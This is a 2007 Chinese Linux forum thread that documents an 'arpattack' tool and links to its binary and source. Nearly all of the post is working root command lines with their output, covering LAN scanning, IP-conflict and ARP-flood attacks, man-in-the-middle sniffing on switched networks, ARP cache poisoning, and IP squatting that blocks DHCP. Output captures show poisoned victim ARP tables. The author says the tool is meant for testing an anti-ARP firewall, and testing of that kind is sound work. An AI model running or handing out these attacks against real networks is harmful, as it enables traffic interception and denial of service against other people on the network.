LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 1714|回复: 6

ARP攻击程序使用详解

[复制链接]
发表于 2007-10-29 19:53:49 | 显示全部楼层 |阅读模式
ARP攻击程序使用详解
arpattack –t TYPE OPTION

OPTION包括:
-h , --hosts
        指定被攻击的主机。可以指定一台主机-h host。可以指定一个网段的主机-h host/netmask,掩码可以用数字例如24来代替255.255.255.0,也可以直接指定掩码例如255.255.255.0。可以指定一个范围的主机-h host1~host2,例如-h 10.11.19.2,10.11.35.255。可以指定多台不连续的主机,-h host1,host2,host3,…,例如-h 10.11.19.161,10.11.19.24,10.11.19.35,10.11.19.86
-l , --timeslot
        指定发送攻击数据包的时间间隔,以秒为单位计算,若命令中未指定,则默认为3秒。
-e , --exclusive
        指定哪些主机不受攻击,指定的规则与-h相同,可以-e 10.11.19.25/24,-e 10.11.19.25/255.255.255.0,-e 10.11.19.1~10.11.19.28,-e 10.11.19.16,10.11.19.222,10.11.19.161。例如-h 10.11.19.3/24 –e 10.11.19.222,10.11.19.206意思是指定网络地址10.11.19.0,掩码255.255.255.0网段内除了10.11.19.222,10.11.19.206这两台主机之外的所有主机为受攻击的目标主机。
-i , --interface
        指定网络接口。
-s , --sniffer
        指定进行嗅探的主机。在-t sniffer中间人攻击中会用到这个选项,如果命令中未指定该选项那么默认就是本地主机作为嗅探主机。
-n , --number
        指定发动ARP泛滥攻击的攻击数据包个数。如果命令中未指定该选项那么默认的攻击数据包个数是3000个。
-o , --one_end
        在-t sniffer中间人攻击中,用来指定需要监听一方的主机地址。其指定的规则与-h相同,可以-o 10.11.19.25/24,-o 10.11.19.25/255.255.255.0,-o 10.11.19.1~10.11.19.28,-o 10.11.19.16,10.11.19.222,10.11.19.161。
-a , --another_end
        在-t sniffer中间人攻击中,用来指定需要监听一方的主机地址。其指定的规则与-h相同,可以-a 10.11.19.25/24,-a 10.11.19.25/255.255.255.0,-a 10.11.19.1~10.11.19.28,-a 10.11.19.16,10.11.19.222,10.11.19.161。
-m , --match
        在-t vm构造虚拟主机中,虚拟构建一台主机,例如-m (10.11.19.25,::e8:5b:9b:48)会在局域网内虚拟构造一台主机10.11.19.25,其对应的MAC地址为::e8:5b:9b:48。-m (10.11.19.25,::e8:5b:9b:48),(10.11.19.5,::e8:5b:9a:4),……你也可以构建多台虚拟主机。也可以在一个括号里指定多台主机,-m (10.11.19.25/25, ::e8:5b:9b:48), -m (10.11.19.25/255.255.254.0, ::e8:5b:9b:48), -m (10.11.19.25~10.11.19.100,::e8:5b:9b:48)。当-m (10.11.19.25,)未指定mac地址,那么默认就是本地主机mac地址。注意,括号里的逗号不能丢失。也不能在括号里指定间段的ip地址,只能指定单个ip地址或一个ip地址范围,例如-m (10.11.19.25,10.11.19.262,::e8:5b:9b:48)是错误的,必须这样指定-m (10.11.19.25,::e8:5b:9b:48) -m (10.11.19.262,::e8:5b:9b:48)。Shell命令中命令解释器把(当成一个特殊字符,所以-m \(10.11.19.26,::34:e4:\)前面加一个斜干来转义特殊字符。

TYPE:=scan | ipconflict | arpflood | sniffer | arpdeceive | recover | vm
TYPE包含扫描(TYPE:=scan)、攻击和恢复(TYPE:=recover)三种类型。攻击的类型有ip地址冲突、arp泛滥、中间人攻击(网络嗅探)、arp欺骗(中间人攻击其实属于arp欺骗,本软件将中间人攻击单独提取出来)。

arpattack -t scan –i interface [-h …] [-e …]
扫描本地网内正在运行的主机,若命令中的-h选项未指定那么默认的扫描目标是interface网络接口所对应的网络中的主机。-e选项指定不被扫描的主机。扫描显示的结果被扫描到的主机ip地址和对应的mac地址。

arpattack -t ipconflict –i interface [-h …] [-e …] [-l …]
向-h所指定的目标主机发动ip地址冲突攻击,若命令中的-h选项未指定那么默认的攻击目标是interface网络接口所对应网络中的主机。-e选项指定不被攻击的主机。-t选项指定发动攻击的时间间隔,若命令中未指定,则默认为3秒。

arpattack -t arpflood –i interface [-h …] [-e …] [-l …] [-n …]
向-h所指定的目标主机发动ARP洪泛攻击,若命令中的-h选项未指定那么默认的攻击目标是interface网络接口所对应网络中的主机。-e选项指定不被攻击的主机。-t选项指定发动攻击的时间间隔,若命令中未指定,则默认为3秒。-n选项指定发动ARP泛滥攻击的攻击数据包个数。如果命令中未指定该选项那么默认的攻击数据包个数是3000个。

arpattack -t sniffer –i interface [-o …] [-a …] [-e …] [-s …] [-l …]
监听-o和-a所指定主机之间的通信,若命令中未指定-o,那么默认的监听目标        是interface网络接口所对应网关。若命令中未指定-a选项,那么默认的监听目标是interface网络接口所对应网络中的主机。若命令中这两个选项未指定那么默认监听interface网络接口所对应网络内的主机同网关之间的通信。-e选项指定不被监听的主机。-t选项指定发动使得目标主机被监听的arp欺骗数据包的时间间隔。-s选项指定执行监听的主机,若命令中该选项未指定,那么默认执行监听的主机为本地主机。

arpattack -t arpdeceive –i interface -o … -a … [-e …] [-s …] [-l …]
篡改-o所指定主机上的ARP缓存中关于-a所指定主机中的ARP记录。指定被篡改成目的物理地址是-s所指定主机的物理地址。若-s选项未指定,则受攻击主机上的ARP缓存记录被篡改成00:e0:4c:79:ef:ff。

arpattack -t recover –i interface [-h …] [-e …] [-l …]
对-h所指定的目标主机进行恢复,因为这些目标主机前面可能遭受了ARP攻击,所以需要对它们进行恢复。若命令中-h选项未指定,则默认指定本地网的主机。本程序目前暂支持恢复同默认网关的通信,若主机同本地网内的其它主机之间通信遭攻击,则不会被恢复。

arpattack -t vm –i interface [-m …] [-l …]
在局域网内虚拟构建主机,例如-m (10.11.19.25,::e8:5b:9b:48)会在局域网内虚拟构造一台主机10.11.19.25,其对应的MAC地址为::e8:5b:9b:48。-m (10.11.19.25,::e8:5b:9b:48),(10.11.19.5,::e8:5b:9a:4),……你也可以构建多台虚拟主机。也可以在一个括号里指定多台主机,-m (10.11.19.25/25, ::e8:5b:9b:48), -m (10.11.19.25/255.255.254.0, ::e8:5b:9b:48), -m (10.11.19.25~10.11.19.100,::e8:5b:9b:48)。当-m (10.11.19.25,)未指定mac地址,那么默认就是本地主机mac地址。若命令中未指定-m选项,那么会虚拟伪造-i对应网络接口所在局域网内的所有正在运行的主机,其伪造的mac地址为本地主机mac地址。-l选项指定虚拟主机发送ARP Request的时间周期。注意,括号里的逗号不能丢失。也不能在括号里指定间段的ip地址,只能指定单个ip地址或一个ip地址范围,例如-m (10.11.19.25,10.11.19.262,::e8:5b:9b:48)是错误的,必须这样指定-m (10.11.19.25,::e8:5b:9b:48) -m (10.11.19.262,::e8:5b:9b:48)。Shell命令中命令解释器把(当成一个特殊字符,所以-m \(10.11.19.26,::34:e4:\)前面加一个斜干来转义特殊字符。



攻击范例:(本程序只有超级用户才有执行权限)
假设本地主机有两个网络接口eth0,eth1。这两个网络接口上的配置为:
eth0:10.11.19.222/24,默认网关10.11.19.254
eth1:192.168.1.254/24
(1)scan
[root@localhost 7ARP攻击程序]# arpattack -t scan -i eth0
10.11.19.54         :0:50:8d:64:ae:66
10.11.19.191        :0:13:20:6:61:39
10.11.19.218        :0:e0:4c:ac:e9:15
10.11.19.188        :0:11:11:ca:8f:e6
10.11.19.231        :0:19:21:b8:3c:ae
10.11.19.250        :0:11:11:ca:b4:91
10.11.19.77         :0:c:f1:71:aa:4e
10.11.19.131        :0:e0:4c:f2:b1:3
10.11.19.60         :0:16:76:8d:b:37
10.11.19.7          :0:13:20:6:63:5d
10.11.19.84         :0:c:f1:ba:26:10
10.11.19.138        :0:11:11:ca:8e:7f
10.11.19.234        :0:50:8d:66:35:83
10.11.19.29         :0:11:2f:ac:26:e8
扫描网络接口eth0对应网络内所有正在运行的主机的ip地址及其物理地址。
[root@localhost 7ARP攻击程序]# arpattack -t scan -i eth0 -e 10.11.19.54,10.11.19.191
10.11.19.218        :0:e0:4c:ac:e9:15
10.11.19.188        :0:11:11:ca:8f:e6
10.11.19.231        :0:19:21:b8:3c:ae
10.11.19.250        :0:11:11:ca:b4:91
10.11.19.77         :0:c:f1:71:aa:4e
10.11.19.131        :0:e0:4c:f2:b1:3
10.11.19.60         :0:16:76:8d:b:37
10.11.19.7          :0:13:20:6:63:5d
10.11.19.84         :0:c:f1:ba:26:10
10.11.19.138        :0:11:11:ca:8e:7f
10.11.19.234        :0:50:8d:66:35:83
10.11.19.29         :0:11:2f:ac:26:e8
指定-e选项,这样主机10.11.19.54和10.11.19.191就不会被扫描到。
[root@localhost 7ARP攻击程序]# arpattack -t scan -i eth0 -h 10.11.19.1~10.11.19.20
10.11.19.7          :0:13:20:6:63:5d
10.11.19.15         :0:e0:a0:3:3:7
10.11.19.10         :0:13:20:4:b9:6a
指定-h选项指定所要扫描的主机范围或某些特定主机。

(2)ipconflict
[root@localhost 7ARP攻击程序]# arpattack -t ipconflict -i eth0
正在初始化ip-mac映射表......
初始化完毕,开始攻击

使网络接口eth0对应网络内所有正在运行的主机发生ip地址冲突。
[root@localhost 7ARP攻击程序]# arpattack -t ipconflict -i eth0 –l 10
正在初始化ip-mac映射表......
初始化完毕,开始攻击

每隔10秒钟向网络接口eth0对应网络内所有正在运行的主机发动ip地址冲突。

(3)arpflood
[root@localhost 7ARP攻击程序]# arpattack -t arpflood -i eth0 -h 10.11.19.161
正在初始化ip-mac映射表......
初始化完毕,开始攻击

向目的主机10.11.19.161发动ARP洪泛攻击。默认会填充被攻击主机ARP缓存表中的3000个缓存记录。
目的主机10.11.19.161在攻击之前的ARP缓存表是这样的。
C:\Documents and Settings\bantouxiaoxue2>arp -a

Interface: 10.11.19.161 --- 0x10005
  Internet Address      Physical Address      Type
  10.11.19.222          00-0c-29-df-30-64     dynamic
  10.11.19.230          00-e0-4c-94-fb-4b     dynamic
  10.11.19.254          00-13-7f-60-5a-bf     dynamic
受到攻击之后的ARP缓存表变成这样。
C:\Documents and Settings\bantouxiaoxue2>arp -a

Interface: 10.11.19.161 --- 0x10005
  Internet Address      Physical Address      Type
  10.11.19.222          00-0c-29-df-30-64     dynamic
  10.11.19.230          00-e0-4c-94-fb-4b     dynamic
10.11.19.254          00-13-7f-60-5a-bf     dynamic
202.119.1.176         00-11-7f-60-5a-ff     dynamic
202.119.1.177         00-11-7f-60-5a-ff     dynamic
202.119.1.178         00-11-7f-60-5a-ff     dynamic
202.119.1.179         00-11-7f-60-5a-ff     dynamic
202.119.1.180         00-11-7f-60-5a-ff     dynamic
202.119.1.181         00-11-7f-60-5a-ff     dynamic
202.119.1.182         00-11-7f-60-5a-ff     dynamic
202.119.1.183         00-11-7f-60-5a-ff     dynamic
202.119.1.184         00-11-7f-60-5a-ff     dynamic
202.119.1.185         00-11-7f-60-5a-ff     dynamic
202.119.1.186         00-11-7f-60-5a-ff     dynamic
202.119.1.187         00-11-7f-60-5a-ff     dynamic
202.119.1.188         00-11-7f-60-5a-ff     dynamic
202.119.1.189         00-11-7f-60-5a-ff     dynamic
202.119.1.190         00-11-7f-60-5a-ff     dynamic
202.119.1.191         00-11-7f-60-5a-ff     dynamic
202.119.1.192         00-11-7f-60-5a-ff     dynamic
202.119.1.193         00-11-7f-60-5a-ff     dynamic
202.119.1.194         00-11-7f-60-5a-ff     dynamic
202.119.1.195         00-11-7f-60-5a-ff     dynamic
202.119.1.196         00-11-7f-60-5a-ff     dynamic
202.119.1.197         00-11-7f-60-5a-ff     dynamic
202.119.1.198         00-11-7f-60-5a-ff     dynamic
202.119.1.199         00-11-7f-60-5a-ff     dynamic
202.119.1.200         00-11-7f-60-5a-ff     dynamic
202.119.1.201         00-11-7f-60-5a-ff     dynamic
202.119.1.202         00-11-7f-60-5a-ff     dynamic
202.119.1.203         00-11-7f-60-5a-ff     dynamic
202.119.1.204         00-11-7f-60-5a-ff     dynamic
202.119.1.205         00-11-7f-60-5a-ff     dynamic
202.119.1.206         00-11-7f-60-5a-ff     dynamic
202.119.1.207         00-11-7f-60-5a-ff     dynamic
202.119.1.208         00-11-7f-60-5a-ff     dynamic
202.119.1.209         00-11-7f-60-5a-ff     dynamic
202.119.1.210         00-11-7f-60-5a-ff     dynamic
………  ………  ………  ………
………  ………  ………  ………
[root@localhost 7ARP攻击程序]# arpattack -t arpflood -i eth0 -h 10.11.19.161 -n 15
正在初始化ip-mac映射表......
初始化完毕,开始攻击

-n选项只填充被攻击主机ARP缓存表中的15个ARP缓存记录。
C:\Documents and Settings\bantouxiaoxue2>arp -a

Interface: 10.11.19.161 --- 0x10005
  Internet Address      Physical Address      Type
  10.11.19.254          00-13-7f-60-5a-bf     dynamic
  202.119.0.0           00-11-7f-60-5a-ff     dynamic
  202.119.0.1           00-11-7f-60-5a-ff     dynamic
  202.119.0.2           00-11-7f-60-5a-ff     dynamic
  202.119.0.3           00-11-7f-60-5a-ff     dynamic
  202.119.0.4           00-11-7f-60-5a-ff     dynamic
  202.119.0.5           00-11-7f-60-5a-ff     dynamic
  202.119.0.6           00-11-7f-60-5a-ff     dynamic
  202.119.0.7           00-11-7f-60-5a-ff     dynamic
  202.119.0.8           00-11-7f-60-5a-ff     dynamic
  202.119.0.9           00-11-7f-60-5a-ff     dynamic
  202.119.0.10          00-11-7f-60-5a-ff     dynamic
  202.119.0.11          00-11-7f-60-5a-ff     dynamic
  202.119.0.12          00-11-7f-60-5a-ff     dynamic
  202.119.0.13          00-11-7f-60-5a-ff     dynamic
  202.119.0.14          00-11-7f-60-5a-ff     dynamic

(4)sniffer
现在重点说明如何实现对主机数据通信的监听。以往在共享式以太网中(例如hub)只要是连入同一个hub中的所有本地网主机不管是对外还是对内的通信数据都会被监听。而现在的交换式以太网(交换机),不能实现对本地网主机的监听。通过本程序的sniffer功能可以实现在交换式以太网中进行数据监听功能。
[root@localhost 7ARP攻击程序]# arpattack -t sniffer -i eth0
正在初始化ip-mac映射表......
初始化完毕,开始攻击

会监听网络接口eth0所对应网络内的所有正在运行的主机同外部网的通信。在这里-o、-a、-s选项都未指定,那么默认监听的一端是默认网关(由-o选项指定),另外一端是eth0所对应网络内的所有正在运行的主机(由-a选项指定),执行监听功能的主机就是本地主机(由-s选项指定)。因为本地网络内的主机要同外部网通信,首先要将数据包发送给默认网关,由默认网关负责转发该数据包。所以监听本地网络内的主机同默认网关之间的通信就是监听本地网络内的主机同外部网之间的数据通信。上述命令等价于arpattack –t sniffer –i eth0 –o 10.11.19.254 –a 10.11.19.36/24。

[root@localhost 7ARP攻击程序]# arpattack -t sniffer -i eth0 –a 10.11.19.242 –s 10.11.19.161
正在初始化ip-mac映射表......
初始化完毕,开始攻击

会在主机10.11.19.161上监听主机10.11.19.242同外部网的通信。这时执行监听功能的是主机10.11.19.161。这样你可以指定进行监听的主机,不一定要在本地主机进行监听。上述命令等价于arpattack –t sniffer –i eth0 –o 10.11.19.254 –a 10.11.19.242 –s 10.11.19.161。

[root@localhost 7ARP攻击程序]# arpattack -t sniffer -i eth0 –o 10.11.19.182 –a 10.11.19.242
正在初始化ip-mac映射表......
初始化完毕,开始攻击

在本地主机上监听主机10.11.19.182同10.11.19.242之间的通信。因为本地网内的主机除了同外部网进行通信,本地网内的主机之间也有可能进行数据通信。

注意的问题:(1)执行监听功能的主机最好配置成路由器,让它具有数据包转发功能,这样保证被监听的主机之间的通信还能够正常进行,否则被监听的主机过一会儿会无法通信,而出现掉线。(2)被监听的主机必须是在本地网内而且是正在运行的主机,否则不会执行监听。

(5)arpdeceive
[root@localhost 7ARP攻击程序]# arpattack -t arpdeceive -i eth0 -o 10.11.19.161 -a 10.11.19.25/28
正在初始化ip-mac映射表......
初始化完毕,开始攻击

将主机10.11.19.161上ARP缓存表中关于ip地址10.11.19.25/28的ARP记录篡改为mac地址为00-e0-4c-79-ef-ff。经篡改后的ARP缓存表变成了:
C:\Documents and Settings\bantouxiaoxue2>arp -a

Interface: 10.11.19.161 --- 0x10005
  Internet Address      Physical Address      Type
  10.11.19.16           00-e0-4c-79-ef-ff     dynamic
  10.11.19.17           00-e0-4c-79-ef-ff     dynamic
  10.11.19.18           00-e0-4c-79-ef-ff     dynamic
  10.11.19.19           00-e0-4c-79-ef-ff     dynamic
  10.11.19.20           00-e0-4c-79-ef-ff     dynamic
  10.11.19.21           00-e0-4c-79-ef-ff     dynamic
  10.11.19.22           00-e0-4c-79-ef-ff     dynamic
  10.11.19.23           00-e0-4c-79-ef-ff     dynamic
  10.11.19.24           00-e0-4c-79-ef-ff     dynamic
  10.11.19.25           00-e0-4c-79-ef-ff     dynamic
  10.11.19.26           00-e0-4c-79-ef-ff     dynamic
  10.11.19.27           00-e0-4c-79-ef-ff     dynamic
  10.11.19.28           00-e0-4c-79-ef-ff     dynamic
  10.11.19.29           00-e0-4c-79-ef-ff     dynamic
  10.11.19.30           00-e0-4c-79-ef-ff     dynamic
  10.11.19.68           00-11-11-ca-8d-2a     dynamic
  10.11.19.222          00-0c-29-df-30-64     dynamic
  10.11.19.242          00-12-3f-33-45-c6     dynamic
  10.11.19.254          00-13-7f-60-5a-bf     dynamic
[root@localhost 7ARP攻击程序]# arpattack -t arpdeceive -i eth0 -o 10.11.19.161 -a 10.11.19.25/28 -s 10.11.19.242
正在初始化ip-mac映射表......
初始化完毕,开始攻击

指定-s选项会将ARP记录中的MAC地址篡改成10.11.19.242主机的物理地址。

(6)recover
[root@localhost 7ARP攻击程序]# arpattack -t recover -i eth0
正在初始化ip-mac映射表......
初始化完毕,开始攻击

对eth0所对应网络内的正在运行的主机上的ARP记录恢复到正常状态.。从而保证被攻击主机能够同外部网进行正常通信。目前只支持对关于默认网关地址的ARP记录进行恢复,对于本地网内的其它主机的ARP记录暂不支持。

[root@localhost 7ARP攻击程序]# arpattack -t recover -i eth0 -h 10.11.19.161
正在初始化ip-mac映射表......
初始化完毕,开始攻击

对主机10.11.19.161上的ARP记录进行恢复。

(7)vm
(注意:由于(符号是特殊字符所以在shell命令行中需要通过/转义字符对它进行转义处理)
[root@localhost 7ARP攻击程序]# arpattack -t vm -i eth0 -m \(10.11.19.242,:a:b\)
正在初始化ip-mac映射表......
初始化完毕,开始攻击

在本地网络内虚拟构造一台主机10.11.19.242,其虚拟的mac地址00-0a-0b-00-00-00。这样当真正拥有ip地址10.11.19.242(通过手动配置)的主机启动时,就不会成功获得ip地址10.11.19.242。

[root@localhost 7ARP攻击程序]# arpattack -t vm -i eth0
正在初始化ip-mac映射表......
初始化完毕,开始攻击

虚拟构造eth0所对应网络内的所有主机的ip地址,其虚拟的mac地址为本地主机的eth0所对应的mac地址。这样以后通过动态分配或手动配置来获得ip地址都会失败。上述命令等价于arpattack –t vm –i eth0 –m \(10.11.19.25/24,\)。
C:\Documents and Settings\bantouxiaoxue2>ipconfig/release        //先释放ip地址
C:\Documents and Settings\bantouxiaoxue2>ipconfig/renew        //动态获得ip地址

Windows IP Configuration
An error occurred while renewing interface 本地连接 : DHCP 客户端获得一个在网络
上已被使用的 IP 地址。 直到 DHCP 客户端可以获得新的地址前,本地接口将被禁用。

[root@localhost 7ARP攻击程序]# arpattack -t vm -i eth0 -m \(10.11.19.242, \)
正在初始化ip-mac映射表......
初始化完毕,开始攻击

括号里若没有指定mac地址则默认为本地主机的物理地址。
 楼主| 发表于 2007-10-29 21:34:38 | 显示全部楼层
执行文件(执行平台redhat linux 9.0)
http://www.oldlinux.org/oldlinux/attachment.php?aid=462
回复 支持 反对

使用道具 举报

 楼主| 发表于 2007-10-30 11:59:11 | 显示全部楼层
欢迎大家帮我测试,并添加说明一些新的攻击特征。因为想设计一个抗ARP攻击的防火墙,所以设计这个程序的目的是用来对抗ARP攻击的防火墙进行测试用的。
回复 支持 反对

使用道具 举报

发表于 2007-10-30 13:13:58 | 显示全部楼层
能不能在别的平台上编译呢?现在的RH9很少了吧。
回复 支持 反对

使用道具 举报

发表于 2007-10-30 13:32:10 | 显示全部楼层
这个。。我怎么测试呢。弄局域网机器都断网?非rh9应该可以用才对
回复 支持 反对

使用道具 举报

 楼主| 发表于 2007-10-30 15:07:02 | 显示全部楼层
源代码下载:

http://www.oldlinux.org/oldlinux/attachment.php?aid=463

拿到其它版本的linux平台上编译试一下
回复 支持 反对

使用道具 举报

发表于 2007-10-31 11:18:56 | 显示全部楼层
学习!最近想研究一下arp问题的说。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表